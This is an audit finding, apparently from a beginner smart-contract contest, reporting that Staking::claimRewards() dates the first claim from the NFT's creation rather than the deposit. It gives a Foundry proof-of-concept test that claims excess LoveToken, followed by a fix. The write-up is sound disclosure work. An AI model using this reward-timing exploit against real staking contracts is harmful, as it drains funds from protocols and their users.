Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

User Can Claim More Than Actual Reward From `Staking::claimRewards()`

User Can Claim More Than Actual Reward From Staking::claimRewards() Contract Violating the Staking Rule and Rapidly Decreasing LoveTokens in StakingVault.

Description: Staking contract stands for staking LoveToken and in return it will give more LoveToken. As per doc if user has to deposit LoveToken to the staking and have to wait for 1 week to receive reward as LoveToken.
For staking 1 love token for 1 week user will recevie 1 LoveToken as reward. But this design pattern actually don't work in the Staking::claimReward() function. User can claim more token than protocol rule.

Impact: Rapid decrease of LoveToken from StakingVault.

Proof of Concept: We can form below scerenio to proof that,
lets assume that a user mints a soulmate nft and after 7 days he claim his lovetoken from Airdrop::claim(). He gets 7 LoveTokens from the airdroping. Now he has 7 LoveToken. And then he dposits 2 LoveToken to Staking contract
and using Staking:deposit(). After Depositing he has 5 LoveToken. He waits for 2 weeks to receive reward. 2 tokens staking for 2 weeks he sholud get back 4 tokens as reward. But the problem arises that he actually received 6 tokens as reward. this happend because lastClaim[msg.sender] calculates the claiming time based on the creation of the Soulmate NFT using soulmateContract.idToCreationTimestamp(soulmateId). This timestamp represents the time of NFT creation, not the time of depositing the token into the staking contract.
This the line from the Staking::claimRewards() whhic cause the issue

if (lastClaim[msg.sender] == 0) {
@> lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
soulmateId
);
}

So As he created Soulmate NFT 7 days back ago before staking the actual staking time is timebeforedeposit+timeafterdeposit = 7+14 = 21 /3 = 3 weeks so 3 weeks with 2 tokens is equal to 6 token as reward. but as per doc the countdown should satrted from the time of depositing. this lastClaim[msg.sender] is placed wrongly in the Staking::claimRewards().

POC For More Reward Claiming Than Expected
function test_UserCanClaimMoreThanExpected() public {
_mintOneTokenForBothSoulmates();
vm.warp(block.timestamp + 7 days +1 seconds);
vm.startPrank(soulmate1);
airdropContract.claim();
vm.stopPrank();
assert(loveToken.balanceOf(soulmate1) == 7 ether);
// as per doc if now solmate deposit 2 token for
// 2 weeks he should get 4 tokens as reward
// but he wiil get 6 tokens
uint256 amountToDeposit = 2 ether;
vm.startPrank(soulmate1);
loveToken.approve(address(stakingContract), amountToDeposit);
stakingContract.deposit(amountToDeposit);
vm.stopPrank();
uint256 afterDepositSoulmateTokenBalance = loveToken.balanceOf(soulmate1);
assert(afterDepositSoulmateTokenBalance == 5 ether);
console.log(afterDepositSoulmateTokenBalance);
// Let Wait 2 Weeks
vm.warp(block.timestamp + 2 weeks +1 seconds);
vm.startPrank(soulmate1);
stakingContract.claimRewards();
vm.stopPrank();
// as per doc now soulmate should have 9 tokens
// but It will not it will have 11 ether
assert( loveToken.balanceOf(soulmate1) != 9 ether);
uint256 solmatebalanceAfterClaimimgRewards = loveToken.balanceOf(soulmate1);
// the Soulmate1 token balance sholud be 11
assert(solmatebalanceAfterClaimimgRewards == 11 ether);
console.log(solmatebalanceAfterClaimimgRewards);
vm.startPrank(soulmate1);
stakingContract.withdraw(amountToDeposit);
vm.stopPrank();
// withdraw soulmate1 shoul have 11 token
// but it has 13 tokens
assert(loveToken.balanceOf(soulmate1) != 11 ether);
uint256 solmatebalanceAfterClaimimgRewardsAndWithDraw = loveToken.balanceOf(soulmate1);
// it Has Now 13 Token
assert(solmatebalanceAfterClaimimgRewardsAndWithDraw == 13 ether);
console.log(solmatebalanceAfterClaimimgRewardsAndWithDraw);
/**
Soulmate had 7 tokens from his claim from airdropContract
he has deposited 2 tokens at the stakingContract
now he has 7-2 = 5 tokens
as per doc for stakin 2 tokens for 2 weeks he should get
a reward of 2 tokens as reward includng his staking he should get back
2(reward) + 2(staking) = 4 tokens and then adding his left 5 token the total
would be 4+5 = 9 token but from `solmatebalanceAfterClaimimgRewards` we see that
he gets 11 token back that his no deposited token was 5 so as reward he gets 6 tokens
This Happended because of
""if (lastClaim[msg.sender] == 0) {
lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
soulmateId
);""
if now solumate withdraw his deposited token from staking contract
he get 13 token back but should be 11 token. `solmatebalanceAfterClaimimgRewardsAndWithDraw` from this we can verify that
}
*/
}

Recommended Mitigation: This can be mitigated by updating the both Staking::deposit(amount) and Staking::claimRewards() function

Update The Staking::deposit(amount)

function deposit(uint256 amount) public {
if (loveToken.balanceOf(address(stakingVault)) == 0)
revert Staking__NoMoreRewards();
// No require needed because of overflow protection
+ lastClaim[msg.sender] = block.timestamp;
userStakes[msg.sender] += amount;
loveToken.transferFrom(msg.sender, address(this), amount);
emit Deposited(msg.sender, amount);
}

Also Update Staking::claimRewards()

function claimRewards() public {
uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
// first claim
- if (lastClaim[msg.sender] == 0) {
- lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
- soulmateId
- );
- }
// How many weeks passed since the last claim.
// Thanks to round-down division, it will be the lower amount possible until a week has completly pass.
uint256 timeInWeeksSinceLastClaim = ((block.timestamp -
lastClaim[msg.sender]) / 1 weeks);
if (timeInWeeksSinceLastClaim < 1)
revert Staking__StakingPeriodTooShort();
lastClaim[msg.sender] = block.timestamp;
// Send the same amount of LoveToken as the week waited times the number of token staked
uint256 amountToClaim = userStakes[msg.sender] *
timeInWeeksSinceLastClaim;
loveToken.transferFrom(
address(stakingVault),
msg.sender,
amountToClaim
);
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claimRewards-multi-deposits-time

High severity, this allows users to claim additional rewards without committing to intended weekly staking period via multi-deposit/deposit right before claiming rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.